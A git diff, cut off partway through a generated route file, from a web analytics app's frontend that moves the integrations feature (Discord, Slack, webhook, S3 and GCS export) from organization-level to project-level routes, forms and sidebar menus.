diff --git a/apps/start/src/components/integrations/forms/discord-integration.tsx b/apps/start/src/components/integrations/forms/discord-integration.tsx
index 4dd722c3c..2823c6d63 100644
--- a/apps/start/src/components/integrations/forms/discord-integration.tsx
+++ b/apps/start/src/components/integrations/forms/discord-integration.tsx
@@ -21,12 +21,12 @@ export function DiscordIntegrationForm({
defaultValues?: RouterOutputs['integration']['get'];
onSuccess: () => void;
}) {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
const form = useForm({
defaultValues: mergeDeepRight(
{
id: defaultValues?.id,
- organizationId,
+ projectId,
config: {
type: 'discord' as const,
url: '',
diff --git a/apps/start/src/components/integrations/forms/gcs-export-integration.tsx b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
index a2bb17cca..ea23b31db 100644
--- a/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
+++ b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
@@ -27,12 +27,12 @@ export function GCSExportIntegrationForm({
defaultValues?: RouterOutputs['integration']['get'];
onSuccess: () => void;
}) {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
const form = useForm({
defaultValues: mergeDeepRight(
{
id: defaultValues?.id,
- organizationId,
+ projectId,
name: '',
config: {
type: 'gcs_export' as const,
diff --git a/apps/start/src/components/integrations/forms/s3-export-integration.tsx b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
index c9d27a1f6..816dd78be 100644
--- a/apps/start/src/components/integrations/forms/s3-export-integration.tsx
+++ b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
@@ -46,12 +46,12 @@ export function S3ExportIntegrationForm({
defaultValues?: RouterOutputs['integration']['get'];
onSuccess: () => void;
}) {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
const form = useForm({
defaultValues: mergeDeepRight(
{
id: defaultValues?.id,
- organizationId,
+ projectId,
name: '',
config: {
type: 's3_export' as const,
diff --git a/apps/start/src/components/integrations/forms/slack-integration.tsx b/apps/start/src/components/integrations/forms/slack-integration.tsx
index f7a8c3bb8..17d3c3687 100644
--- a/apps/start/src/components/integrations/forms/slack-integration.tsx
+++ b/apps/start/src/components/integrations/forms/slack-integration.tsx
@@ -19,12 +19,12 @@ export function SlackIntegrationForm({
defaultValues?: RouterOutputs['integration']['get'];
onSuccess: () => void;
}) {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
const form = useForm({
defaultValues: {
id: defaultValues?.id,
- organizationId,
+ projectId,
name: defaultValues?.name ?? '',
},
resolver: zodResolver(zCreateSlackIntegration),
diff --git a/apps/start/src/components/integrations/forms/webhook-integration.tsx b/apps/start/src/components/integrations/forms/webhook-integration.tsx
index ca39b686b..cc891dd61 100644
--- a/apps/start/src/components/integrations/forms/webhook-integration.tsx
+++ b/apps/start/src/components/integrations/forms/webhook-integration.tsx
@@ -55,7 +55,7 @@ export function WebhookIntegrationForm({
defaultValues?: RouterOutputs['integration']['get'];
onSuccess: () => void;
}) {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
// Convert headers from Record to array format for form UI
const defaultHeaders =
@@ -67,7 +67,7 @@ export function WebhookIntegrationForm({
defaultValues: mergeDeepRight(
{
id: defaultValues?.id,
- organizationId,
+ projectId,
config: {
type: 'webhook' as const,
url: '',
diff --git a/apps/start/src/components/sidebar-organization-menu.tsx b/apps/start/src/components/sidebar-organization-menu.tsx
index 964b5f6ae..b4551fe2f 100644
--- a/apps/start/src/components/sidebar-organization-menu.tsx
+++ b/apps/start/src/components/sidebar-organization-menu.tsx
@@ -1,4 +1,4 @@
-import { Link, useNavigate } from '@tanstack/react-router';
+import { Link } from '@tanstack/react-router';
import { AnimatePresence, motion } from 'framer-motion';
import {
ChevronDownIcon,
@@ -7,7 +7,6 @@ import {
LayoutListIcon,
PlusIcon,
UsersIcon,
- WorkflowIcon,
} from 'lucide-react';
import { useEffect, useState } from 'react';
import { Badge } from './ui/badge';
@@ -98,22 +97,11 @@ export default function SidebarOrganizationMenu({
Members
)}
-
-
- Integrations
-
>
);
}
export function ActionCTAButton() {
- const navigate = useNavigate();
const { organizationId } = useParams({ strict: false });
const { isAdmin } = useOrganizationAccess(organizationId);
@@ -132,15 +120,6 @@ export function ActionCTAButton() {
},
]
: []),
- {
- label: 'Add integration',
- icon: WorkflowIcon,
- onClick: () =>
- navigate({
- to: '/$organizationId/integrations',
- from: '/$organizationId',
- }),
- },
];
const [currentActionIndex, setCurrentActionIndex] = useState(0);
diff --git a/apps/start/src/components/sidebar-project-menu.tsx b/apps/start/src/components/sidebar-project-menu.tsx
index e78ae4f3e..8738bc72b 100644
--- a/apps/start/src/components/sidebar-project-menu.tsx
+++ b/apps/start/src/components/sidebar-project-menu.tsx
@@ -3,6 +3,7 @@ import { useNavigate } from '@tanstack/react-router';
import { AnimatePresence, motion } from 'framer-motion';
import {
BellIcon,
+ WorkflowIcon,
BookOpenIcon,
Building2Icon,
ChartLineIcon,
@@ -85,6 +86,12 @@ export default function SidebarProjectMenu({
icon={BellIcon}
label="Notifications"
/>
+
>
);
diff --git a/apps/start/src/modals/add-integration.tsx b/apps/start/src/modals/add-integration.tsx
index de11cd3b3..7dea1bb25 100644
--- a/apps/start/src/modals/add-integration.tsx
+++ b/apps/start/src/modals/add-integration.tsx
@@ -22,7 +22,7 @@ interface Props {
type: IIntegrationConfig['type'];
}
export default function AddIntegration(props: Props) {
- const { organizationId } = useAppParams();
+ const { organizationId, projectId } = useAppParams();
const trpc = useTRPC();
const query = useQuery(
trpc.integration.get.queryOptions(
@@ -58,9 +58,10 @@ export default function AddIntegration(props: Props) {
trpc.integration.get.queryFilter({ id: props.id }),
);
navigate({
- to: '/$organizationId/integrations/installed',
+ to: '/$organizationId/$projectId/integrations/installed',
params: {
organizationId,
+ projectId,
},
});
};
diff --git a/apps/start/src/modals/add-notification-rule.tsx b/apps/start/src/modals/add-notification-rule.tsx
index 5f3c351fa..d9e83a575 100644
--- a/apps/start/src/modals/add-notification-rule.tsx
+++ b/apps/start/src/modals/add-notification-rule.tsx
@@ -38,7 +38,7 @@ type IForm = z.infer;
export default function AddNotificationRule({ rule }: Props) {
const client = useQueryClient();
- const { organizationId, projectId } = useAppParams();
+ const { projectId } = useAppParams();
const form = useForm({
resolver: zodResolver(zCreateNotificationRule),
defaultValues: {
@@ -80,7 +80,7 @@ export default function AddNotificationRule({ rule }: Props) {
);
const integrationsQuery = useQuery(
trpc.integration.list.queryOptions({
- organizationId: organizationId!,
+ projectId: projectId!,
})
);
diff --git a/apps/start/src/routeTree.gen.ts b/apps/start/src/routeTree.gen.ts
index 558fcbee0..81b0a9d63 100644
--- a/apps/start/src/routeTree.gen.ts
+++ b/apps/start/src/routeTree.gen.ts
@@ -41,7 +41,6 @@ import { Route as AppOrganizationIdProjectIdIndexRouteImport } from './routes/_a
import { Route as StepsOnboardingProjectIdVerifyRouteImport } from './routes/_steps.onboarding.$projectId.verify'
import { Route as StepsOnboardingProjectIdConnectRouteImport } from './routes/_steps.onboarding.$projectId.connect'
import { Route as AppOrganizationIdMembersTabsRouteImport } from './routes/_app.$organizationId.members._tabs'
-import { Route as AppOrganizationIdIntegrationsTabsRouteImport } from './routes/_app.$organizationId.integrations._tabs'
import { Route as AppOrganizationIdAccountTabsRouteImport } from './routes/_app.$organizationId.account._tabs'
import { Route as AppOrganizationIdProjectIdSessionsRouteImport } from './routes/_app.$organizationId.$projectId.sessions'
import { Route as AppOrganizationIdProjectIdSeoRouteImport } from './routes/_app.$organizationId.$projectId.seo'
@@ -54,12 +53,9 @@ import { Route as AppOrganizationIdProjectIdGroupsRouteImport } from './routes/_
import { Route as AppOrganizationIdProjectIdDashboardsRouteImport } from './routes/_app.$organizationId.$projectId.dashboards'
import { Route as AppOrganizationIdProjectIdCohortsRouteImport } from './routes/_app.$organizationId.$projectId.cohorts'
import { Route as AppOrganizationIdMembersTabsIndexRouteImport } from './routes/_app.$organizationId.members._tabs.index'
-import { Route as AppOrganizationIdIntegrationsTabsIndexRouteImport } from './routes/_app.$organizationId.integrations._tabs.index'
import { Route as AppOrganizationIdAccountTabsIndexRouteImport } from './routes/_app.$organizationId.account._tabs.index'
import { Route as AppOrganizationIdMembersTabsMembersRouteImport } from './routes/_app.$organizationId.members._tabs.members'
import { Route as AppOrganizationIdMembersTabsInvitationsRouteImport } from './routes/_app.$organizationId.members._tabs.invitations'
-import { Route as AppOrganizationIdIntegrationsTabsInstalledRouteImport } from './routes/_app.$organizationId.integrations._tabs.installed'
-import { Route as AppOrganizationIdIntegrationsTabsAvailableRouteImport } from './routes/_app.$organizationId.integrations._tabs.available'
import { Route as AppOrganizationIdAccountTabsTwoFactorRouteImport } from './routes/_app.$organizationId.account._tabs.two-factor'
import { Route as AppOrganizationIdAccountTabsEmailPreferencesRouteImport } from './routes/_app.$organizationId.account._tabs.email-preferences'
import { Route as AppOrganizationIdProjectIdSettingsTabsRouteImport } from './routes/_app.$organizationId.$projectId.settings._tabs'
@@ -67,11 +63,13 @@ import { Route as AppOrganizationIdProjectIdSessionsSessionIdRouteImport } from
import { Route as AppOrganizationIdProjectIdReportsReportIdRouteImport } from './routes/_app.$organizationId.$projectId.reports_.$reportId'
import { Route as AppOrganizationIdProjectIdProfilesTabsRouteImport } from './routes/_app.$organizationId.$projectId.profiles._tabs'
import { Route as AppOrganizationIdProjectIdNotificationsTabsRouteImport } from './routes/_app.$organizationId.$projectId.notifications._tabs'
+import { Route as AppOrganizationIdProjectIdIntegrationsTabsRouteImport } from './routes/_app.$organizationId.$projectId.integrations._tabs'
import { Route as AppOrganizationIdProjectIdEventsTabsRouteImport } from './routes/_app.$organizationId.$projectId.events._tabs'
import { Route as AppOrganizationIdProjectIdDashboardsDashboardIdRouteImport } from './routes/_app.$organizationId.$projectId.dashboards_.$dashboardId'
import { Route as AppOrganizationIdProjectIdSettingsTabsIndexRouteImport } from './routes/_app.$organizationId.$projectId.settings._tabs.index'
import { Route as AppOrganizationIdProjectIdProfilesTabsIndexRouteImport } from './routes/_app.$organizationId.$projectId.profiles._tabs.index'
import { Route as AppOrganizationIdProjectIdNotificationsTabsIndexRouteImport } from './routes/_app.$organizationId.$projectId.notifications._tabs.index'
+import { Route as AppOrganizationIdProjectIdIntegrationsTabsIndexRouteImport } from './routes/_app.$organizationId.$projectId.integrations._tabs.index'
import { Route as AppOrganizationIdProjectIdEventsTabsIndexRouteImport } from './routes/_app.$organizationId.$projectId.events._tabs.index'
import { Route as AppOrganizationIdProjectIdSettingsTabsWidgetsRouteImport } from './routes/_app.$organizationId.$projectId.settings._tabs.widgets'
import { Route as AppOrganizationIdProjectIdSettingsTabsTrackingRouteImport } from './routes/_app.$organizationId.$projectId.settings._tabs.tracking'
@@ -87,6 +85,8 @@ import { Route as AppOrganizationIdProjectIdProfilesTabsAnonymousRouteImport } f
import { Route as AppOrganizationIdProjectIdProfilesProfileIdTabsRouteImport } from './routes/_app.$organizationId.$projectId.profiles.$profileId._tabs'
import { Route as AppOrganizationIdProjectIdNotificationsTabsRulesRouteImport } from './routes/_app.$organizationId.$projectId.notifications._tabs.rules'
import { Route as AppOrganizationIdProjectIdNotificationsTabsNotificationsRouteImport } from './routes/_app.$organizationId.$projectId.notifications._tabs.notifications'
+import { Route as AppOrganizationIdProjectIdIntegrationsTabsInstalledRouteImport } from './routes/_app.$organizationId.$projectId.integrations._tabs.installed'
+import { Route as AppOrganizationIdProjectIdIntegrationsTabsAvailableRouteImport } from './routes/_app.$organizationId.$projectId.integrations._tabs.available'
import { Route as AppOrganizationIdProjectIdGroupsGroupIdTabsRouteImport } from './routes/_app.$organizationId.$projectId.groups_.$groupId._tabs'
import { Route as AppOrganizationIdProjectIdEventsTabsStatsRouteImport } from './routes/_app.$organizationId.$projectId.events._tabs.stats'
import { Route as AppOrganizationIdProjectIdEventsTabsEventsRouteImport } from './routes/_app.$organizationId.$projectId.events._tabs.events'
@@ -105,9 +105,6 @@ import { Route as AppOrganizationIdProjectIdCohortsCohortIdTabsEventsRouteImport
const AppOrganizationIdMembersRouteImport = createFileRoute(
'/_app/$organizationId/members',
)()
-const AppOrganizationIdIntegrationsRouteImport = createFileRoute(
- '/_app/$organizationId/integrations',
-)()
const AppOrganizationIdAccountRouteImport = createFileRoute(
'/_app/$organizationId/account',
)()
@@ -120,6 +117,9 @@ const AppOrganizationIdProjectIdProfilesRouteImport = createFileRoute(
const AppOrganizationIdProjectIdNotificationsRouteImport = createFileRoute(
'/_app/$organizationId/$projectId/notifications',
)()
+const AppOrganizationIdProjectIdIntegrationsRouteImport = createFileRoute(
+ '/_app/$organizationId/$projectId/integrations',
+)()
const AppOrganizationIdProjectIdEventsRouteImport = createFileRoute(
'/_app/$organizationId/$projectId/events',
)()
@@ -225,12 +225,6 @@ const AppOrganizationIdMembersRoute =
path: '/members',
getParentRoute: () => AppOrganizationIdRoute,
} as any)
-const AppOrganizationIdIntegrationsRoute =
- AppOrganizationIdIntegrationsRouteImport.update({
- id: '/integrations',
- path: '/integrations',
- getParentRoute: () => AppOrganizationIdRoute,
- } as any)
const AppOrganizationIdAccountRoute =
AppOrganizationIdAccountRouteImport.update({
id: '/account',
@@ -298,6 +292,12 @@ const AppOrganizationIdProjectIdNotificationsRoute =
path: '/notifications',
getParentRoute: () => AppOrganizationIdProjectIdRoute,
} as any)
+const AppOrganizationIdProjectIdIntegrationsRoute =
+ AppOrganizationIdProjectIdIntegrationsRouteImport.update({
+ id: '/integrations',
+ path: '/integrations',
+ getParentRoute: () => AppOrganizationIdProjectIdRoute,
+ } as any)
const AppOrganizationIdProjectIdEventsRoute =
AppOrganizationIdProjectIdEventsRouteImport.update({
id: '/events',
@@ -327,11 +327,6 @@ const AppOrganizationIdMembersTabsRoute =
id: '/_tabs',
getParentRoute: () => AppOrganizationIdMembersRoute,
} as any)
-const AppOrganizationIdIntegrationsTabsRoute =
- AppOrganizationIdIntegrationsTabsRouteImport.update({
- id: '/_tabs',
- getParentRoute: () => AppOrganizationIdIntegrationsRoute,
- } as any)
const AppOrganizationIdAccountTabsRoute =
AppOrganizationIdAccountTabsRouteImport.update({
id: '/_tabs',
@@ -421,12 +416,6 @@ const AppOrganizationIdMembersTabsIndexRoute =
path: '/',
getParentRoute: () => AppOrganizationIdMembersTabsRoute,
} as any)
-const AppOrganizationIdIntegrationsTabsIndexRoute =
- AppOrganizationIdIntegrationsTabsIndexRouteImport.update({
- id: '/',
- path: '/',
- getParentRoute: () => AppOrganizationIdIntegrationsTabsRoute,
- } as any)
const AppOrganizationIdAccountTabsIndexRoute =
AppOrganizationIdAccountTabsIndexRouteImport.update({
id: '/',
@@ -445,18 +434,6 @@ const AppOrganizationIdMembersTabsInvitationsRoute =
path: '/invitations',
getParentRoute: () => AppOrganizationIdMembersTabsRoute,
} as any)
-const AppOrganizationIdIntegrationsTabsInstalledRoute =
- AppOrganizationIdIntegrationsTabsInstalledRouteImport.update({
- id: '/installed',
- path: '/installed',
- getParentRoute: () => AppOrganizationIdIntegrationsTabsRoute,
- } as any)
-const AppOrganizationIdIntegrationsTabsAvailableRoute =
- AppOrganizationIdIntegrationsTabsAvailableRouteImport.update({
- id: '/available',
- path: '/available',
- getParentRoute: () => AppOrganizationIdIntegrationsTabsRoute,
- } as any)
const AppOrganizationIdAccountTabsTwoFactorRoute =
AppOrganizationIdAccountTabsTwoFactorRouteImport.update({
id: '/two-factor',
@@ -496,6 +473,11 @@ const AppOrganizationIdProjectIdNotificationsTabsRoute =
id: '/_tabs',
getParentRoute: () => AppOrganizationIdProjectIdNotificationsRoute,
} as any)
+const AppOrganizationIdProjectIdIntegrationsTabsRoute =
+ AppOrganizationIdProjectIdIntegrationsTabsRouteImport.update({
+ id: '/_tabs',
+ getParentRoute: () => AppOrganizationIdProjectIdIntegrationsRoute,
+ } as any)
const AppOrganizationIdProjectIdEventsTabsRoute =
AppOrganizationIdProjectIdEventsTabsRouteImport.update({
id: '/_tabs',
@@ -525,6 +507,12 @@ const AppOrganizationIdProjectIdNotificationsTabsIndexRoute =
path: '/',
getParentRoute: () => AppOrganizationIdProjectIdNotificationsTabsRoute,
} as any)
+const AppOrganizationIdProjectIdIntegrationsTabsIndexRoute =
+ AppOrganizationIdProjectIdIntegrationsTabsIndexRouteImport.update({
+ id: '/',
+ path: '/',
+ getParentRoute: () => AppOrganizationIdProjectIdIntegrationsTabsRoute,
+ } as any)
const AppOrganizationIdProjectIdEventsTabsIndexRoute =
AppOrganizationIdProjectIdEventsTabsIndexRouteImport.update({
id: '/',
@@ -614,6 +602,18 @@ const AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute =
path: '/notifications',
getParentRoute: () => AppOrganizationIdProjectIdNotificationsTabsRoute,
} as any)
+const AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute =
+ AppOrganizationIdProjectIdIntegrationsTabsInstalledRouteImport.update({
+ id: '/installed',
+ path: '/installed',
+ getParentRoute: () => AppOrganizationIdProjectIdIntegrationsTabsRoute,
+ } as any)
+const AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute =
+ AppOrganizationIdProjectIdIntegrationsTabsAvailableRouteImport.update({
+ id: '/available',
+ path: '/available',
+ getParentRoute: () => AppOrganizationIdProjectIdIntegrationsTabsRoute,
+ } as any)
const AppOrganizationIdProjectIdGroupsGroupIdTabsRoute =
AppOrganizationIdProjectIdGroupsGroupIdTabsRouteImport.update({
id: '/_tabs',
@@ -731,13 +731,13 @@ export interface FileRoutesByFullPath {
'/$organizationId/$projectId/seo': typeof AppOrganizationIdProjectIdSeoRoute
'/$organizationId/$projectId/sessions': typeof AppOrganizationIdProjectIdSessionsRoute
'/$organizationId/account': typeof AppOrganizationIdAccountTabsRouteWithChildren
- '/$organizationId/integrations': typeof AppOrganizationIdIntegrationsTabsRouteWithChildren
'/$organizationId/members': typeof AppOrganizationIdMembersTabsRouteWithChildren
'/onboarding/$projectId/connect': typeof StepsOnboardingProjectIdConnectRoute
'/onboarding/$projectId/verify': typeof StepsOnboardingProjectIdVerifyRoute
'/$organizationId/$projectId/': typeof AppOrganizationIdProjectIdIndexRoute
'/$organizationId/$projectId/dashboards/$dashboardId': typeof AppOrganizationIdProjectIdDashboardsDashboardIdRoute
'/$organizationId/$projectId/events': typeof AppOrganizationIdProjectIdEventsTabsRouteWithChildren
+ '/$organizationId/$projectId/integrations': typeof AppOrganizationIdProjectIdIntegrationsTabsRouteWithChildren
'/$organizationId/$projectId/notifications': typeof AppOrganizationIdProjectIdNotificationsTabsRouteWithChildren
'/$organizationId/$projectId/profiles': typeof AppOrganizationIdProjectIdProfilesTabsRouteWithChildren
'/$organizationId/$projectId/reports/$reportId': typeof AppOrganizationIdProjectIdReportsReportIdRoute
@@ -745,18 +745,17 @@ export interface FileRoutesByFullPath {
'/$organizationId/$projectId/settings': typeof AppOrganizationIdProjectIdSettingsTabsRouteWithChildren
'/$organizationId/account/email-preferences': typeof AppOrganizationIdAccountTabsEmailPreferencesRoute
'/$organizationId/account/two-factor': typeof AppOrganizationIdAccountTabsTwoFactorRoute
- '/$organizationId/integrations/available': typeof AppOrganizationIdIntegrationsTabsAvailableRoute
- '/$organizationId/integrations/installed': typeof AppOrganizationIdIntegrationsTabsInstalledRoute
'/$organizationId/members/invitations': typeof AppOrganizationIdMembersTabsInvitationsRoute
'/$organizationId/members/members': typeof AppOrganizationIdMembersTabsMembersRoute
'/$organizationId/account/': typeof AppOrganizationIdAccountTabsIndexRoute
- '/$organizationId/integrations/': typeof AppOrganizationIdIntegrationsTabsIndexRoute
'/$organizationId/members/': typeof AppOrganizationIdMembersTabsIndexRoute
'/$organizationId/$projectId/cohorts/$cohortId': typeof AppOrganizationIdProjectIdCohortsCohortIdTabsRouteWithChildren
'/$organizationId/$projectId/events/conversions': typeof AppOrganizationIdProjectIdEventsTabsConversionsRoute
'/$organizationId/$projectId/events/events': typeof AppOrganizationIdProjectIdEventsTabsEventsRoute
'/$organizationId/$projectId/events/stats': typeof AppOrganizationIdProjectIdEventsTabsStatsRoute
'/$organizationId/$projectId/groups/$groupId': typeof AppOrganizationIdProjectIdGroupsGroupIdTabsRouteWithChildren
+ '/$organizationId/$projectId/integrations/available': typeof AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute
+ '/$organizationId/$projectId/integrations/installed': typeof AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute
'/$organizationId/$projectId/notifications/notifications': typeof AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute
'/$organizationId/$projectId/notifications/rules': typeof AppOrganizationIdProjectIdNotificationsTabsRulesRoute
'/$organizationId/$projectId/profiles/$profileId': typeof AppOrganizationIdProjectIdProfilesProfileIdTabsRouteWithChildren
@@ -772,6 +771,7 @@ export interface FileRoutesByFullPath {
'/$organizationId/$projectId/settings/tracking': typeof AppOrganizationIdProjectIdSettingsTabsTrackingRoute
'/$organizationId/$projectId/settings/widgets': typeof AppOrganizationIdProjectIdSettingsTabsWidgetsRoute
'/$organizationId/$projectId/events/': typeof AppOrganizationIdProjectIdEventsTabsIndexRoute
+ '/$organizationId/$projectId/integrations/': typeof AppOrganizationIdProjectIdIntegrationsTabsIndexRoute
'/$organizationId/$projectId/notifications/': typeof AppOrganizationIdProjectIdNotificationsTabsIndexRoute
'/$organizationId/$projectId/profiles/': typeof AppOrganizationIdProjectIdProfilesTabsIndexRoute
'/$organizationId/$projectId/settings/': typeof AppOrganizationIdProjectIdSettingsTabsIndexRoute
@@ -817,13 +817,13 @@ export interface FileRoutesByTo {
'/$organizationId/$projectId/seo': typeof AppOrganizationIdProjectIdSeoRoute
'/$organizationId/$projectId/sessions': typeof AppOrganizationIdProjectIdSessionsRoute
'/$organizationId/account': typeof AppOrganizationIdAccountTabsIndexRoute
- '/$organizationId/integrations': typeof AppOrganizationIdIntegrationsTabsIndexRoute
'/$organizationId/members': typeof AppOrganizationIdMembersTabsIndexRoute
'/onboarding/$projectId/connect': typeof StepsOnboardingProjectIdConnectRoute
'/onboarding/$projectId/verify': typeof StepsOnboardingProjectIdVerifyRoute
'/$organizationId/$projectId': typeof AppOrganizationIdProjectIdIndexRoute
'/$organizationId/$projectId/dashboards/$dashboardId': typeof AppOrganizationIdProjectIdDashboardsDashboardIdRoute
'/$organizationId/$projectId/events': typeof AppOrganizationIdProjectIdEventsTabsIndexRoute
+ '/$organizationId/$projectId/integrations': typeof AppOrganizationIdProjectIdIntegrationsTabsIndexRoute
'/$organizationId/$projectId/notifications': typeof AppOrganizationIdProjectIdNotificationsTabsIndexRoute
'/$organizationId/$projectId/profiles': typeof AppOrganizationIdProjectIdProfilesTabsIndexRoute
'/$organizationId/$projectId/reports/$reportId': typeof AppOrganizationIdProjectIdReportsReportIdRoute
@@ -831,8 +831,6 @@ export interface FileRoutesByTo {
'/$organizationId/$projectId/settings': typeof AppOrganizationIdProjectIdSettingsTabsIndexRoute
'/$organizationId/account/email-preferences': typeof AppOrganizationIdAccountTabsEmailPreferencesRoute
'/$organizationId/account/two-factor': typeof AppOrganizationIdAccountTabsTwoFactorRoute
- '/$organizationId/integrations/available': typeof AppOrganizationIdIntegrationsTabsAvailableRoute
- '/$organizationId/integrations/installed': typeof AppOrganizationIdIntegrationsTabsInstalledRoute
'/$organizationId/members/invitations': typeof AppOrganizationIdMembersTabsInvitationsRoute
'/$organizationId/members/members': typeof AppOrganizationIdMembersTabsMembersRoute
'/$organizationId/$projectId/cohorts/$cohortId': typeof AppOrganizationIdProjectIdCohortsCohortIdTabsIndexRoute
@@ -840,6 +838,8 @@ export interface FileRoutesByTo {
'/$organizationId/$projectId/events/events': typeof AppOrganizationIdProjectIdEventsTabsEventsRoute
'/$organizationId/$projectId/events/stats': typeof AppOrganizationIdProjectIdEventsTabsStatsRoute
'/$organizationId/$projectId/groups/$groupId': typeof AppOrganizationIdProjectIdGroupsGroupIdTabsIndexRoute
+ '/$organizationId/$projectId/integrations/available': typeof AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute
+ '/$organizationId/$projectId/integrations/installed': typeof AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute
'/$organizationId/$projectId/notifications/notifications': typeof AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute
'/$organizationId/$projectId/notifications/rules': typeof AppOrganizationIdProjectIdNotificationsTabsRulesRoute
'/$organizationId/$projectId/profiles/$profileId': typeof AppOrganizationIdProjectIdProfilesProfileIdTabsIndexRoute
@@ -901,8 +901,6 @@ export interface FileRoutesById {
'/_app/$organizationId/$projectId/sessions': typeof AppOrganizationIdProjectIdSessionsRoute
'/_app/$organizationId/account': typeof AppOrganizationIdAccountRouteWithChildren
'/_app/$organizationId/account/_tabs': typeof AppOrganizationIdAccountTabsRouteWithChildren
- '/_app/$organizationId/integrations': typeof AppOrganizationIdIntegrationsRouteWithChildren
- '/_app/$organizationId/integrations/_tabs': typeof AppOrganizationIdIntegrationsTabsRouteWithChildren
'/_app/$organizationId/members': typeof AppOrganizationIdMembersRouteWithChildren
'/_app/$organizationId/members/_tabs': typeof AppOrganizationIdMembersTabsRouteWithChildren
'/_steps/onboarding/$projectId/connect': typeof StepsOnboardingProjectIdConnectRoute
@@ -911,6 +909,8 @@ export interface FileRoutesById {
'/_app/$organizationId/$projectId/dashboards_/$dashboardId': typeof AppOrganizationIdProjectIdDashboardsDashboardIdRoute
'/_app/$organizationId/$projectId/events': typeof AppOrganizationIdProjectIdEventsRouteWithChildren
'/_app/$organizationId/$projectId/events/_tabs': typeof AppOrganizationIdProjectIdEventsTabsRouteWithChildren
+ '/_app/$organizationId/$projectId/integrations': typeof AppOrganizationIdProjectIdIntegrationsRouteWithChildren
+ '/_app/$organizationId/$projectId/integrations/_tabs': typeof AppOrganizationIdProjectIdIntegrationsTabsRouteWithChildren
'/_app/$organizationId/$projectId/notifications': typeof AppOrganizationIdProjectIdNotificationsRouteWithChildren
'/_app/$organizationId/$projectId/notifications/_tabs': typeof AppOrganizationIdProjectIdNotificationsTabsRouteWithChildren
'/_app/$organizationId/$projectId/profiles': typeof AppOrganizationIdProjectIdProfilesRouteWithChildren
@@ -921,12 +921,9 @@ export interface FileRoutesById {
'/_app/$organizationId/$projectId/settings/_tabs': typeof AppOrganizationIdProjectIdSettingsTabsRouteWithChildren
'/_app/$organizationId/account/_tabs/email-preferences': typeof AppOrganizationIdAccountTabsEmailPreferencesRoute
'/_app/$organizationId/account/_tabs/two-factor': typeof AppOrganizationIdAccountTabsTwoFactorRoute
- '/_app/$organizationId/integrations/_tabs/available': typeof AppOrganizationIdIntegrationsTabsAvailableRoute
- '/_app/$organizationId/integrations/_tabs/installed': typeof AppOrganizationIdIntegrationsTabsInstalledRoute
'/_app/$organizationId/members/_tabs/invitations': typeof AppOrganizationIdMembersTabsInvitationsRoute
'/_app/$organizationId/members/_tabs/members': typeof AppOrganizationIdMembersTabsMembersRoute
'/_app/$organizationId/account/_tabs/': typeof AppOrganizationIdAccountTabsIndexRoute
- '/_app/$organizationId/integrations/_tabs/': typeof AppOrganizationIdIntegrationsTabsIndexRoute
'/_app/$organizationId/members/_tabs/': typeof AppOrganizationIdMembersTabsIndexRoute
'/_app/$organizationId/$projectId/cohorts_/$cohortId': typeof AppOrganizationIdProjectIdCohortsCohortIdRouteWithChildren
'/_app/$organizationId/$projectId/cohorts_/$cohortId/_tabs': typeof AppOrganizationIdProjectIdCohortsCohortIdTabsRouteWithChildren
@@ -935,6 +932,8 @@ export interface FileRoutesById {
'/_app/$organizationId/$projectId/events/_tabs/stats': typeof AppOrganizationIdProjectIdEventsTabsStatsRoute
'/_app/$organizationId/$projectId/groups_/$groupId': typeof AppOrganizationIdProjectIdGroupsGroupIdRouteWithChildren
'/_app/$organizationId/$projectId/groups_/$groupId/_tabs': typeof AppOrganizationIdProjectIdGroupsGroupIdTabsRouteWithChildren
+ '/_app/$organizationId/$projectId/integrations/_tabs/available': typeof AppOrganizationIdProjectIdIntegrationsTabsAvailableRoute
+ '/_app/$organizationId/$projectId/integrations/_tabs/installed': typeof AppOrganizationIdProjectIdIntegrationsTabsInstalledRoute
'/_app/$organizationId/$projectId/notifications/_tabs/notifications': typeof AppOrganizationIdProjectIdNotificationsTabsNotificationsRoute
'/_app/$organizationId/$projectId/notifications/_tabs/rules': typeof AppOrganizationIdProjectIdNotificationsTabsRulesRoute
'/_app/$organizationId/$projectId/profiles/$profileId': typeof AppOrganizationIdProjectIdProfilesProfileIdRouteWithChildren
@@ -951,6 +950,7 @@ export interface FileRoutesById {
'/_app/$organizationId/$projectId/settings/_tabs/tracking': typeof AppOrganizationIdProjectIdSettingsTabsTrackingRoute
'/_app/$organizationId/$projectId/settings/_tabs/widgets': typeof AppOrganizationIdProjectIdSettingsTabsWidgetsRoute
'/_app/$organizationId/$projectId/events/_tabs/': typeof AppOrganizationIdProjectIdEventsTabsIndexRoute
+ '/_app/$organizationId/$projectId/integrations/_tabs/': typeof AppOrganizationIdProjectIdIntegrationsTabsIndexRoute
'/_app/$organizationId/$projectId/notifications/_tabs/': typeof AppOrganizationIdProjectIdNotificationsTabsIndexRoute
'/_app/$organizationId/$projectId/profiles/_tabs/': typeof AppOrganizationIdProjectIdProfilesTabsIndexRoute
'/_app/$organizationId/$projectId/settings/_tabs/': typeof AppOrganizationIdProjectIdSettingsTabsIndexRoute
@@ -1000,13 +1000,13 @@ export interface FileRouteTypes {
| '/$organizationId/$projectId/seo'
| '/$organizationId/$projectId/sessions'
| '/$organizationId/account'
- | '/$organizationId/integrations'
| '/$organizationId/members'
| '/onboarding/$projectId/connect'
| '/onboarding/$projectId/verify'
| '/$organizationId/$projectId/'
| '/$organizationId/$projectId/dashboards/$dashboardId'
| '/$organizationId/$projectId/events'
+ | '/$organizationId/$projectId/integrations'
| '/$organizationId/$projectId/notifications'
